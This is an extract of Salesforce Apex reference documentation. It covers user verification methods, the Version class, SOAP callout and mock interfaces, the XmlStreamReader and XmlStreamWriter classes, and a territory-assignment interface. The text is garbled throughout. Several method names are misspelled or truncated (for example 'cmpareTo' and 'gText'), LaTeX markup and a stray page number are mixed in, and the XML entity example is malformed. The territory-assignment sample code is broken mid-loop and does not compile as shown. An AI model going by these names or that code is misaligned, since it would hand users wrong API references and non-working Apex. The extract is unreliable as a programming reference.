  Type: Auth.VerificationMethod
  Method used to verify the identity of the user, which can be either EMAIL or SMS.

identifier
  Type: String
  The unique identifier received from the initSelfRegistration method.

code
  Type: String
  Code used to verify the identity of the user.

startUrl
  Type: String
  The page where the user is directed after successful self-registration.
Return Value
Type: Auth.VerificationResult
Result of the verification challenge, which includes the message displayed, and where the user is directed when they enter the verification code correctly.

Usage
By default, when users sign up for your Experience Cloud site with an email address or phone number, Salesforce sends them a verification code and generates a Verify page. This Verify page is where users enter the verification code to confirm their identity. You can replace this Salesforce-generated Verify page with a custom Verify page that you create with Visualforce. Then you invoke the verification process with Apex methods.

First, call the `initSelfRegistration` method, which returns the identifier of the user to create. Then call this `verifySelfRegistration` method to complete the verification process. If the user enters the verification code correctly, the user is created and directed to the page specified in the `startURL`.

This method returns the verification result, which contains the verification status and, if the user is created, the session ID. If the verification method is SMS, the User object must contain a properly formatted mobile number, which is country code, space, and then phone number, for example, +1 1234567890. Use `System.UserManagement.formatPhoneNumber` to ensure that the phone number is formatted correctly.

Example
This code contains the result of a verification challenge that registers a new user.

```apex
String id = System.UserManagement.initSelfRegistration
    (Auth.VerificationMethod.SMS, user);
Auth.VerificationResult res = System.UserManagement.verifySelfRegistration
    (Auth.VerificationMethod.SMS, id, '123456', null);
if(res.success == true){
    //redirect
}
```

`verifyVerificationMethod(identifier, code, method)`
Completes the verification service for email, phone (SMS), Salesforce Authenticator, password, or time-based one-time password (TOTP) verification methods.

Signature
```
public static VerificationResult verifyVerificationMethod(String identifier, String code, Auth.VerificationMethod method)
```

Parameters
- `identifier`
  Type: String
  Identifier returned from `initVerificationMethod` for EMAIL, SMS, and SALESFORCE_AUTHENTICATOR.
- `code`
  Type: String
Code used to verify the user’s identity for EMAIL, SMS, or PASSWORD.

**Method**
Type: Auth.VerificationMethod

Method used to verify the user’s identity, which can be EMAIL, PASSWORD, SALESFORCE_AUTHENTICATOR, SMS, or TOTP.

**Return Value**
Type: VerificationResult

**Usage**
Use this method along with its paired `initVerificationMethod` to customize a verification service for EMAIL, SMS, or SALESFORCE_AUTHENTICATOR verification methods. Or use this method alone to provide a complete verification service for PASSWORD and TOTP verification methods.

This method checks whether the user entered the correct verification code or password. If the verification code or password is correct, the method verifies the user’s identity.

If the verification code or password isn’t valid, the service returns an error message.

**Examples**
This example shows multi-factor authentication using email.

```java
public void initVerification() {
    // user will receive code on their registered verified email
    identifier = UserManagement.initVerificationMethod(Auth.VerificationMethod.EMAIL);
}

public Auth.VerificationResult verifyVerification() {
    // requiring identifier from the initVerification
    // the code will need to be entered in this method
    return UserManagement.verifyVerificationMethod(identifier, code ,
        Auth.VerificationMethod.EMAIL);
}
```

The next two examples show multi-factor authentication using only the `verifyVerificationMethod` for password and TOTP verifications.

```java
public Auth.VerificationResult verifyVerification() {
    // user will enter their password as a param in the verifyVerificationMethod for password verification method
    return UserManagement.verifyVerificationMethod('', password ,
        Auth.VerificationMethod.PASSWORD);
}

public Auth.VerificationResult verifyVerification() {
    // user will enter their registered time-based one-time password (TOTP) code (token)
    return UserManagement.verifyVerificationMethod('', code , Auth.VerificationMethod.TOTP);
}
Version Class

Use the Version methods to get the version of a first-generation managed package, and to compare package versions.

Namespace

System

Usage

A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release.

A called component can check the version against which the caller was compiled using the System.requestVersion method and behave differently depending on the caller’s expectations. This allows you to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code.

The value returned by the System.requestVersion method is an instance of this class with a two-part version number containing a major and a minor number. Since the System.requestVersion method doesn’t return a patch number, the patch number in the returned Version object is null.

The System.Version class can also hold also a three-part version number that includes a patch number.

Example

This example shows how to use the methods in this class, along with the requestVersion method, to determine the managed package version of the code that is calling your package.

```java
if (System.requestVersion() == new Version(1,0))
{
   // Do something
}
if ((System.requestVersion().major() == 1)
   && (System.requestVersion().minor() > 0)
   && (System.requestVersion().minor() <=9))
{
   // Do something different for versions 1.1 to 1.9
}
else if (System.requestVersion().compareTo(new Version(2,0)) >= 0)
{
   // Do something completely different for versions 2.0 or greater
}
```

In this section:

- Version Constructors
- Version Methods

Version Constructors

The following are constructors for Version.
IN THIS SECTION:

Version(major, minor)
Creates a new instance of the Version class as a two-part package version using the specified major and minor version numbers.

Version(major, minor, patch)
Creates a new instance of the Version class as a three-part package version using the specified major, minor, and patch version numbers.

**Version(major, minor)**

Creates a new instance of the Version class as a two-part package version using the specified major and minor version numbers.

Signature

```
public Version(Integer major, Integer minor)
```

Parameters

- **major**
  - Type: Integer
  - The major version number.

- **minor**
  - Type: Integer
  - The minor version number.

**Version(major, minor, patch)**

Creates a new instance of the Version class as a three-part package version using the specified major, minor, and patch version numbers.

Signature

```
public Version(Integer major, Integer minor, Integer patch)
```

Parameters

- **major**
  - Type: Integer
  - The major version number.

- **minor**
  - Type: Integer
  - The minor version number.

- **patch**
  - Type: Integer
  - The patch version number.
Version Methods
The following are methods for Version. All are instance methods.

IN THIS SECTION:

compareTo(version)
Compares the current version with the specified version.
major()
Returns the major package version of the calling code.
minor()
Returns the minor package version of the calling code.
patch()
Returns the patch package version of the calling code or null if there is no patch version.

cmpareTo(version)
Compares the current version with the specified version.

Signature
public Integer compareTo(System.Version version)

Parameters
version
Type: System.Version

Return Value
Type: Integer
Returns one of the following values:
• zero if the current package version is equal to the specified package version
• an Integer value greater than zero if the current package version is greater than the specified package version
• an Integer value less than zero if the current package version is less than the specified package version

Usage
If a two-part version is being compared to a three-part version, the patch number is ignored and the comparison is based only on the major and minor numbers.

major()
Returns the major package version of the calling code.

Signature
public Integer major()
**Return Value**
Type: `Integer`

**minor()**
Returns the minor package version of the calling code.

**Signature**
```java
public Integer minor()
```

**Return Value**
Type: `Integer`

**patch()**
Returns the patch package version of the calling code or `null` if there is no patch version.

**Signature**
```java
public Integer patch()
```

**WebServiceCallout Class**
Enables making callouts to SOAP operations on an external Web service. This class is used in the Apex stub class that is auto-generated from a WSDL.

**Namespace**
`System`

**IN THIS SECTION:**
- **WebServiceCallout Methods**

**SEE ALSO:**
- **SOAP Services: Defining a Class from a WSDL Document**

**WebServiceCallout Methods**
The following is the static method for `WebServiceCallout`. 
IN THIS SECTION:

`invoke(stub, request, response, infoArray)`

Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.

**invoke(stub, request, response, infoArray)**

Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.

**Signature**

```java
public static void invoke(Object stub, Object request, Map<String, Object> response, List<String> infoArray)
```

**Parameters**

- **stub**
  - Type: `Object`
  - An instance of the Apex class that is auto-generated from a WSDL (the stub class).

- **request**
  - Type: `Object`
  - The request to the external service. The request is an instance of a type that is created as part of the auto-generated stub class.

- **response**
  - Type: `Map<String, Object>`
  - A map of key-value pairs that represent the response that the external service sends after receiving the request. In each pair, the key is a response identifier. The value is the response object, which is an instance of a type that is created as part of the auto-generated stub class.

- **infoArray**
  - Type: `String[]`
  - An array of strings that contains information about the callout—web service endpoint, SOAP action, request, and response. The order of the elements in the array matters.

  - Element at index 0 ([0]): One of the following options for identifying the URL of the external web service.
    - Endpoint URL. For example: 'http://YourServer/YourService'
    - Named credential URL, which contains the scheme callout, the name of the named credential, and optionally, an appended path. For example: 'callout:MyNamedCredential/some/path'

  - Element at index 1 ([1]): The SOAP action. For example: 'urn:dotnet.callouttest.soap.sforce.com/EchoString'

  - Element at index 2 ([2]): The request namespace. For example: 'http://doc.sample.com/docSample'

  - Element at index 3 ([3]): The request name. For example: 'EchoString'

  - Element at index 4 ([4]): The response namespace. For example: 'http://doc.sample.com/docSample'

  - Element at index 5 ([5]): The response name. For example: 'EchoStringResponse'

  - Element at index 6 ([6]): The response type. For example: 'docSample.EchoStringResponse_element'
Return Value
Type: Void

SEE ALSO:
Named Credentials as Callout Endpoints

WebServiceMock Interface
Enables sending fake responses when testing Web service callouts of a class auto-generated from a WSDL.

Namespace
System

Usage
For an implementation example, see Test Web Service Callouts on page 543.

WebServiceMock Methods
The following are methods for WebServiceMock.

IN THIS SECTION:

doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName, responseNamespace, responseName, responseType)
The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after Test.setMock has been called.

doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName, responseNamespace, responseName, responseType)
The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after Test.setMock has been called.

Signature
public Void doInvoke(Object stub, Object soapRequest, Map<String,Object> responseMap, String endpoint, String soapAction, String requestName, String responseNamespace, String responseName, String responseType)

Parameters
stub
Type: Object
An instance of the auto-generated class.

soapRequest
Type: Object
The SOAP Web service request being invoked.
responseMap
Type: Map<String, Object>
A collection of key/value pairs representing the response to send for the request.
When implementing this interface, set the responseMap argument to a key/value pair representing the response desired.

deploymentId
Type: String
The deployment ID of the request.

endpoint
Type: String
The endpoint URL for the request.

soapAction
Type: String
The requested SOAP operation.

requestName
Type: String
The requested SOAP operation name.

responseNamespace
Type: String
The response namespace.

responseName
Type: String
The name of the response element as defined in the WSDL.

responseType
Type: String
The class for the response as defined in the auto-generated class.

Return Value
Type: Void

Usage

XmlStreamReader Class
The XmlStreamReader class provides methods for forward, read-only access to XML data. You can pull data from XML or skip unwanted events. You can parse nested XML content that's up to 50 nodes deep.

Namespace
System

Usage
The XmlStreamReader class is similar to the XMLStreamReader utility class from StAX.

Note: The XmlStreamReader class in Apex is based on its counterpart in Java. See the Java XMLStreamReader class.
IN THIS SECTION:
  XmlStreamReader Constructors
  XmlStreamReader Methods

SEE ALSO:
  Reading XML Using Streams

XmlStreamReader Constructors
The following are constructors for XmlStreamReader.

IN THIS SECTION:
  XmlStreamReader(xmlInput)
  Creates a new instance of the XmlStreamReader class for the specified XML input.

XmlStreamReader(xmlInput)
Creates a new instance of the XmlStreamReader class for the specified XML input.

Signature

public XmlStreamReader(String xmlInput)

Parameters

xmlInput
  Type: String
  The XML string input.

XmlStreamReader Methods
The following are methods for XmlStreamReader. All are instance methods.

IN THIS SECTION:
  getAttributeCount()
  Returns the number of attributes on the start element, excluding namespace definitions.
  getAttributeLocalName(index)
  Returns the local name of the attribute at the specified index.
  getAttributeNamespace(index)
  Returns the namespace URI of the attribute at the specified index.
  getAttributePrefix(index)
  Returns the prefix of this attribute at the specified index.
  getAttributeType(index)
  Returns the XML type of the attribute at the specified index.
getAttributeValue(namespaceUri, localName)
Returns the value of the attribute in the specified `localName` at the specified URI.

getAttributeValueAt(index)
Returns the value of the attribute at the specified index.

eventType()
Returns the type of XML event the cursor is pointing to.

getLocalName()
Returns the local name of the current event.

gLocation()
Return the current location of the cursor.

getNamespace()
If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.

getNamespaceCount()
Returns the number of namespaces declared on a start element or end element.

gNamespacePrefix(index)
Returns the prefix for the namespace declared at the index.

getNamespaceURI(prefix)
Return the URI for the given prefix.

getNamespaceURIAt(index)
Returns the URI for the namespace declared at the index.

getPIData()
Returns the data section of a processing instruction.

gPITarget()
Returns the target section of a processing instruction.

gPrefix()
Returns the prefix of the current XML event or `null` if the event does not have a prefix.

gText()
Returns the current value of the XML event as a string.

gVersion()
Returns the XML version specified on the XML declaration. Returns `null` if none was declared.

hasName()
Returns `true` if the current XML event has a name. Returns `false` otherwise.

hasNext()
Returns `true` if there are more XML events and `false` if there are no more XML events.

hasText()
Returns `true` if the current event has text, `false` otherwise.

isCharacters()
Returns `true` if the cursor points to a character data XML event. Otherwise, returns `false`.

isEndElement()
Returns `true` if the cursor points to an end tag. Otherwise, it returns `false`.
isStartElement()
Returns true if the cursor points to a start tag. Otherwise, it returns false.
isWhiteSpace()
Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.
next()
Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks. Returns an integer which indicates the type of event.
nextTag()
Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start element or end element is reached. Returns the index for that XML event.
setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.
setNamespaceAware(isNamespaceAware)
If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does not. The default value is true.
toString()
Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input XML.

getAttributeCount()
Returns the number of attributes on the start element, excluding namespace definitions.

Signature
public Integer getAttributeCount()

Return Value
Type: Integer

Usage
This method is only valid on a start element or attribute XML events. The count for the number of attributes for an attribute XML event starts with zero.

getAttributeLocalName(index)
Returns the local name of the attribute at the specified index.

Signature
public String getAttributeLocalName(Integer index)
Parameters

index
Type: Integer

Return Value
Type: String

Usage
If there is no name, an empty string is returned. This method is only valid with start element or attribute XML events.

getAttributeNamespace(index)
Returns the namespace URI of the attribute at the specified index.

Signature
public String getAttributeNamespace(Integer index)

Parameters
index
Type: Integer

Return Value
Type: String

Usage
If no namespace is specified, null is returned. This method is only valid with start element or attribute XML events.

getAttributePrefix(index)
Returns the prefix of this attribute at the specified index.

Signature
public String getAttributePrefix(Integer index)

Parameters
index
Type: Integer

Return Value
Type: String
Usage
If no prefix is specified, \texttt{null} is returned. This method is only valid with start element or attribute XML events.

\textbf{getAttributeType(index)}

Returns the XML type of the attribute at the specified index.

Signature
\begin{tabular}{l}
\texttt{public String getAttributeType(Integer index)}
\end{tabular}

Parameters
\begin{tabular}{l}
\textit{index} \\
Type: \texttt{Integer}
\end{tabular}

Return Value
Type: \texttt{String}

Usage
For example, 	exttt{id} is an attribute type. This method is only valid with start element or attribute XML events.

\textbf{getAttributeValue(namespaceUri, localName)}

Returns the value of the attribute in the specified \texttt{localName} at the specified URI.

Signature
\begin{tabular}{l}
\texttt{public String getAttributeValue(String namespaceUri, String localName)}
\end{tabular}

Parameters
\begin{tabular}{l}
\textit{namespaceUri} \\
Type: \texttt{String}
\end{tabular}
\begin{tabular}{l}
\textit{localName} \\
Type: \texttt{String}
\end{tabular}

Return Value
Type: \texttt{String}

Usage
Returns \texttt{null} if the value is not found. You must specify a value for \texttt{localName}. This method is only valid with start element or attribute XML events.
**getAttributeValueAt(index)**

Returns the value of the attribute at the specified index.

**Signature**

```
public String getAttributeValueAt(Integer index)
```

**Parameters**

- **index**
  - Type: `Integer`

**Return Value**

- Type: `String`

**Usage**

This method is only valid with start element or attribute XML events.

**getEventType()**

Returns the type of XML event the cursor is pointing to.

**Signature**

```
public System.XmlTag getEventType()
```

**Return Value**

- Type: `System.XmlTag`

**XmlTag Enum**

The values for `XmlTag` are:

- `ATTRIBUTE`
- `CDATA`
- `CHARACTERS`
- `COMMENT`
- `DTD`
- `END_DOCUMENT`
- `END_ELEMENT`
- `ENTITY_DECLARATION`
- `ENTITY_REFERENCE`
- `NAMESPACE`
- `NOTATION_DECLARATION`
- `PROCESSING_INSTRUCTION`
getLocalName()
Returns the local name of the current event.

Signature
public String getLocalName()

Return Value
Type: String

Usage
For start element or end element XML events, it returns the local name of the current element. For the entity reference XML event, it returns the entity name. The current XML event must be start element, end element, or entity reference.

getLocation()
Return the current location of the cursor.

Signature
public String getLocation()

Return Value
Type: String

Usage
If the location is unknown, returns -1. The location information is only valid until the next method is called.

getNamespace()
If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.

Signature
public String getNamespace()

Return Value
Type: String
Usage

Returns `null` if the XML event does not have a prefix.

**getNamespaceCount()**

Returns the number of namespaces declared on a start element or end element.

Signature

```java
public Integer getNamespaceCount()
```

Return Value

Type: `Integer`

Usage

This method is only valid on a start element, end element, or namespace XML event.

**getNamespacePrefix(index)**

Returns the prefix for the namespace declared at the index.

Signature

```java
public String getNamespacePrefix(Integer index)
```

Parameters

- `index`
  Type: `Integer`

Return Value

Type: `String`

Usage

Returns `null` if this is the default namespace declaration. This method is only valid on a start element, end element, or namespace XML event.

**getNamespaceURI(prefix)**

Return the URI for the given prefix.

Signature

```java
public String getNamespaceURI(String prefix)
```
Parameters

prefix
Type: String

Return Value
Type: String

Usage
The returned URI depends on the current state of the processor.

**getNamespaceURIAt(index)**
Returns the URI for the namespace declared at the index.

Signature

```
public String getNamespaceURIAt(Integer index)
```

Parameters

index
Type: Integer

Return Value
Type: String

Usage
This method is only valid on a start element, end element, or namespace XML event.

**getPIData()**
Returns the data section of a processing instruction.

Signature

```
public String getPIData()
```

Return Value
Type: String

**getPITarget()**
Returns the target section of a processing instruction.
getPITarget()

Returns the current XML event as a string.

Signature

public String getPITarget()

Return Value

Type: String

getPrefix()

Returns the prefix of the current XML event or null if the event does not have a prefix.

Signature

public String getPrefix()

Return Value

Type: String

getText()

Returns the current value of the XML event as a string.

Signature

public String getText()

Return Value

Type: String

Usage

The valid values for the different events are:

- The string value of a character XML event
- The string value of a comment
- The replacement value for an entity reference. For example, assume getText reads the following XML snippet:

```xml
ENTITY
    Title "Salesforce For Dummies" >
>
    <moo a="b">Name &Title;</moo>
```

The getText method returns Salesforce for Dummies, not &Title.

- The string value of a CDATA section
- The string value for a space XML event
- The string value of the internal subset of the DTD
**getVersion()**

Returns the XML version specified on the XML declaration. Returns null if none was declared.

Signature

`public String getVersion()`

Return Value

Type: String

**hasName()**

Returns true if the current XML event has a name. Returns false otherwise.

Signature

`public Boolean hasName()`

Return Value

Type: Boolean

Usage

This method is only valid for start element and stop element XML events.

**hasNext()**

Returns true if there are more XML events and false if there are no more XML events.

Signature

`public Boolean hasNext()`

Return Value

Type: Boolean

Usage

This method returns false if the current XML event is end document.

**hasText()**

Returns true if the current event has text, false otherwise.

Signature

`public Boolean hasText()`
Return Value
Type: Boolean

Usage
The following XML events have text: characters, entity reference, comment and space.

**isCharacters()**
Returns `true` if the cursor points to a character data XML event. Otherwise, returns `false`.

Signature

```java
public Boolean isCharacters()
```

Return Value
Type: Boolean

**isEndElement()**
Returns `true` if the cursor points to an end tag. Otherwise, it returns `false`.

Signature

```java
public Boolean isEndElement()
```

Return Value
Type: Boolean

**isStartElement()**
Returns `true` if the cursor points to a start tag. Otherwise, it returns `false`.

Signature

```java
public Boolean isStartElement()
```

Return Value
Type: Boolean

**isWhiteSpace()**
Returns `true` if the cursor points to a character data XML event that consists of all white space. Otherwise it returns `false`.

Signature

```java
public Boolean isWhiteSpace()
```
Return Value
Type: Boolean

next()
Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks. Returns an integer which indicates the type of event.

Signature
public Integer next()

Return Value
Type: Integer

nextTag()
Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start element or end element is reached. Returns the index for that XML event.

Signature
public Integer nextTag()

Return Value
Type: Integer

Usage
This method throws an error if elements other than white space, comments, processing instruction, start elements or stop elements are encountered.

setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.

Signature
public Void setCoalescing(Boolean returnAsSingleBlock)

Parameters
returnAsSingleBlock
Type: Boolean

Return Value
Type: Void
setNamespaceAware(isNamespaceAware)

If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does not. The default value is true.

Signature

```
public Void setNamespaceAware(Boolean isNamespaceAware)
```

Parameters

isNamespaceAware
Type: Boolean

Return Value
Type: Void

toString()

Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input XML.

Signature

```
public String toString()
```

Return Value
Type: String

XmlStreamWriter Class

The XmlStreamWriter class provides methods for writing XML data.

Namespace

System

Usage

You can use the XmlStreamWriter class to programmatically construct an XML document, then use HTTP classes to send the document to an external server.

The XmlStreamWriter class is similar to the XMLStreamWriter utility class from StAX.

Note: The XmlStreamWriter class in Apex is based on its counterpart in Java. See the Java XMLStreamWriter class.

IN THIS SECTION:

XmlStreamWriter Constructors
XmlStreamWriter Methods

SEE ALSO:
   Http Class
   HttpRequest Class
   HttpResponse Class

XmlStreamWriter Constructors
The following are constructors for XmlStreamWriter.

IN THIS SECTION:
   XmlStreamWriter()
   Creates a new instance of the XmlStreamWriter class.

XmlStreamWriter()
Creates a new instance of the XmlStreamWriter class.

Signature
public XmlStreamWriter()

XmlStreamWriter Methods
The following are methods for XmlStreamWriter. All are instance methods.

IN THIS SECTION:
   close()
   Closes this instance of an XmlStreamWriter and free any resources associated with it.
   getXmlString()
   Returns the XML written by the XmlStreamWriter instance.
   setDefaultNamespace(uri)
   Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT – END_ELEMENT pair.
   writeAttribute(prefix, namespaceUri, localName, value)
   Writes an attribute to the output stream.
   writeCData(data)
   Writes the specified CData to the output stream.
   writeCharacters(text)
   Writes the specified text to the output stream.
   writeComment(comment)
   Writes the specified comment to the output stream.
writeDefaultNamespace(namespaceUri)
Writes the specified namespace to the output stream.
writeEmptyElement(prefix, localName, namespaceUri)
Writes an empty element tag to the output stream.
writeEndElement()
Closes any start tags and writes corresponding end tags to the output stream.
writeEndElement()
Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.
writeNamespace(prefix, namespaceUri)
Writes the specified namespace to the output stream.
writeProcessingInstruction(target, data)
Writes the specified processing instruction.
writeStartDocument(encoding, version)
Writes the XML Declaration using the specified XML encoding and version.
writeStartElement(prefix, localName, namespaceUri)
Writes the start tag specified by localName to the output stream.

close()
Closes this instance of an XmlStreamWriter and free any resources associated with it.

Signature
public Void close()

Return Value
Type: Void

getXmlString()
Returns the XML written by the XmlStreamWriter instance.

Signature
public String getXmlString()

Return Value
Type: String

setDefaultNamespace(uri)
Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT – END_ELEMENT pair.
Signature

```java
public Void setDefaultNamespace(String uri)
```

Parameters

- `uri`
  - Type: `String`

Return Value

- Type: `Void`

`writeAttribute(prefix, namespaceUri, localName, value)`

Writes an attribute to the output stream.

Signature

```java
public Void writeAttribute(String prefix, String namespaceUri, String localName, String value)
```

Parameters

- `prefix`
  - Type: `String`
- `namespaceUri`
  - Type: `String`
- `localName`
  - Type: `String`
- `value`
  - Type: `String`

Specifies the name of the attribute.

Return Value

- Type: `Void`

`writeCData(data)`

Writes the specified CData to the output stream.

Signature

```java
public Void writeCData(String data)
```

Parameters

- `data`
  - Type: `String`
Return Value
Type: Void

writeCharacters(text)
Writes the specified text to the output stream.

Signature
public Void writeCharacters(String text)

Parameters
text
  Type: String

Return Value
Type: Void

writeComment(comment)
Writes the specified comment to the output stream.

Signature
public Void writeComment(String comment)

Parameters
comment
  Type: String

Return Value
Type: Void

writeDefaultNamespace(namespaceUri)
Writes the specified namespace to the output stream.

Signature
public Void writeDefaultNamespace(String namespaceUri)

Parameters
namespaceUri
  Type: String
Return Value
Type: Void

**writeEmptyElement(prefix, localName, namespaceUri)**

Writes an empty element tag to the output stream.

**Signature**

```java
public Void writeEmptyElement(String prefix, String localName, String namespaceUri)
```

**Parameters**

- **prefix**
  - Type: String
- **localName**
  - Type: String
  - Specifies the name of the tag to be written.
- **namespaceUri**
  - Type: String

Return Value
Type: Void

**writeEndDocument()**

Closes any start tags and writes corresponding end tags to the output stream.

**Signature**

```java
public Void writeEndDocument()
```

Return Value
Type: Void

**writeEndElement()**

Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.

**Signature**

```java
public Void writeEndElement()
```

Return Value
Type: Void
**writeNamespace(prefix, namespaceUri)**
Writes the specified namespace to the output stream.

**Signature**
```
public Void writeNamespace(String prefix, String namespaceUri)
```

**Parameters**
- `prefix`
  - Type: `String`
- `namespaceUri`
  - Type: `String`

**Return Value**
Type: `Void`

**writeProcessingInstruction(target, data)**
Writes the specified processing instruction.

**Signature**
```
public Void writeProcessingInstruction(String target, String data)
```

**Parameters**
- `target`
  - Type: `String`
- `data`
  - Type: `String`

**Return Value**
Type: `Void`

**writeStartDocument(encoding, version)**
Writes the XML Declaration using the specified XML encoding and version.

**Signature**
```
public Void writeStartDocument(String encoding, String version)
```

**Parameters**
- `encoding`
  - Type: `String`

3667
version
    Type: String

Return Value
Type: Void

**writeStartElement(prefix, localName, namespaceUri)**
Writes the start tag specified by `localName` to the output stream.

Signature

```java
public Void writeStartElement(String prefix, String localName, String namespaceUri)
```

Parameters

- **prefix**
  Type: String
- **localName**
  Type: String
- **namespaceUri**
  Type: String

Return Value
Type: Void

**TerritoryMgmt Namespace**

The `TerritoryMgmt` namespace provides an interface used for territory management.

The following is the interface in the `TerritoryMgmt` namespace.

IN THIS SECTION:

- **OpportunityTerritory2AssignmentFilter Global Interface**
  Apex interface that allows an implementing class to assign a single territory to an opportunity.

**OpportunityTerritory2AssignmentFilter Global Interface**

Apex interface that allows an implementing class to assign a single territory to an opportunity.

**Namespace**

TerritoryMgmt
Usage
Method called by Opportunity Territory Assignment job to assign territory to opportunity. Input is a list of (up to 1000) opportunityIds that have IsExcludedFromTerritory2Filter=false. Returns a map of OpportunityId to Territory2Id, which is used to update the Territory2Id field on the Opportunity object.

IN THIS SECTION:
- OpportunityTerritory2AssignmentFilter Methods
- OpportunityTerritory2AssignmentFilter Example Implementation

OpportunityTerritory2AssignmentFilter Methods
The following are methods for OpportunityTerritory2AssignmentFilter.

IN THIS SECTION:
- getOpportunityTerritory2Assignments(opportunityIds)

getOpportunityTerritory2Assignments (opportunityIds)
Returns the mapping of opportunities to territory IDs. When Salesforce invokes this method, it supplies the list of opportunity IDs, except for opportunities that have been excluded from territory assignment (IsExcludedFromTerritory2Filter=false).

Signature
public Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds)

Parameters
opportunityIds
Type: List<Id>
Opportunity IDs.

Return Value
Type: Map<Id,Id>
A key value pair associating each Territory ID to an Opportunity ID.

OpportunityTerritory2AssignmentFilter Example Implementation
This is an example implementation of the TerritoryMgmt.OpportunityTerritory2AssignmentFilter interface.

```apex
/*** Apex version of the default logic.
* If opportunity's assigned account is assigned to
* Case 1: 0 territories in active model
*    then set territory2Id = null
* Case 2: 1 territory in active model
*/
```
then set territory2Id = account's territory2Id
* Case 3: 2 or more territories in active model
* then set territory2Id = account's territory2Id that is of highest priority.
* But if multiple territories have same highest priority, then set territory2Id
  = null
 */
global class OppTerrAssignDefaultLogicFilter implements TerritoryMgmt.OpportunityTerritory2AssignmentFilter {
    /**
     * No-arg constructor.
     */
    global OppTerrAssignDefaultLogicFilter() {}

    /**
     * Get mapping of opportunity to territory2Id. The incoming list of opportunityIds
     * contains only those with IsExcludedFromTerritory2Filter=false.
     * If territory2Id = null in result map, clear the opportunity.territory2Id if set.
     * If opportunity is not present in result map, its territory2Id remains intact.
     */
    global Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds) {
        Map<Id, Id> OppIdTerritoryIdResult = new Map<Id, Id>();
        // Get the active territory model Id
        Id activeModelId = getActiveModelId();

        if(activeModelId != null){
            List<Opportunity> opportunities =
                [Select Id, AccountId, Territory2Id from Opportunity where Id IN
                 :opportunityIds];
            Set<Id> accountIds = new Set<Id>();
            // Create set of parent accountIds
            for(Opportunity opp:opportunities){
                if(opp.AccountId != null){
                    accountIds.add(opp.AccountId);
                }
            }

            Map<Id,Territory2Priority> accountMaxPriorityTerritory =
                getAccountMaxPriorityTerritory(activeModelId, accountIds);

            // For each opportunity, assign the highest priority territory if there is no
            // conflict, else assign null.
            for(Opportunity opp: opportunities){
                Territory2Priority tp = accountMaxPriorityTerritory.get(opp.AccountId);
                // Assign highest priority territory if there is only 1.
                if((tp != null) && (tp.moreTerritoriesAtPriority == false) && (tp.territory2Id
                    != opp.Territory2Id)){
                    OppIdTerritoryIdResult.put(opp.Id, tp.territory2Id);
                }else{
                    OppIdTerritoryIdResult.put(opp.Id, null);
                }
            }
        }
    return OppIdTerritoryIdResult;
}
private Map<Id, Territory2Priority> getAccountMaxPriorityTerritory(Id activeModelId, Set<Id> accountIds) {
    Map<Id, Territory2Priority> accountMaxPriorityTerritory = new Map<Id, Territory2Priority>();
    for (ObjectTerritory2Association ota: [Select ObjectId, Territory2Id, Territory2.Territory2Type.Priority from ObjectTerritory2Association where objectId IN :accountIds and Territory2.Territory2ModelId = :activeModelId]) {
        Territory2Priority tp = accountMaxPriorityTerritory.get(ota.ObjectId);
        if ((tp == null) || (ota.Territory2.Territory2Type.Priority > tp.priority)) {
            territory2Id;}
            territory2Id;}
    return accountMaxPriorityTerritory;
}
public Integer priority { get; set; }
public Boolean moreTerritoriesAtPriority { get; set; }

Territory2Priority(Id territory2Id, Integer priority, Boolean moreTerritoriesAtPriority) {
    this.territory2Id = territory2Id;
    this.priority = priority;
    this.moreTerritoriesAtPriority = moreTerritoriesAtPriority;
}

---

**TxnSecurity Namespace**

The `TxnSecurity` namespace provides an interface used for transaction security. The following is the interface and its supporting class in the `TxnSecurity` namespace.

**IN THIS SECTION:**

- **Event Class**
  Contains event information that the `evaluate` method uses to evaluate a transaction security policy.

- **EventCondition Interface**
  Allows an implementing class to specify whether to take action when certain events occur based on a transaction security policy. This interface is only used for Apex policies created in Real-Time Event Monitoring.

- **AsyncCondition Interface**
  Allows an implementing class to make asynchronous Apex calls. This interface is used only for transaction security Apex policies created in Real-Time Event Monitoring.

- **PolicyCondition Interface**
  Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security policy.

---

**Event Class**

Contains event information that the `evaluate` method uses to evaluate a transaction security policy.

⚠️ **Warning:** Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as of Summer ‘20. For more information, see Legacy Transaction Security Retirement. To create transaction security policies using the new framework, refer to the Enhanced Transaction Security documentation. To migrate legacy policies to the new framework, refer to the migration documentation.

---

**Namespace**

`TxnSecurity`

---

**Usage**

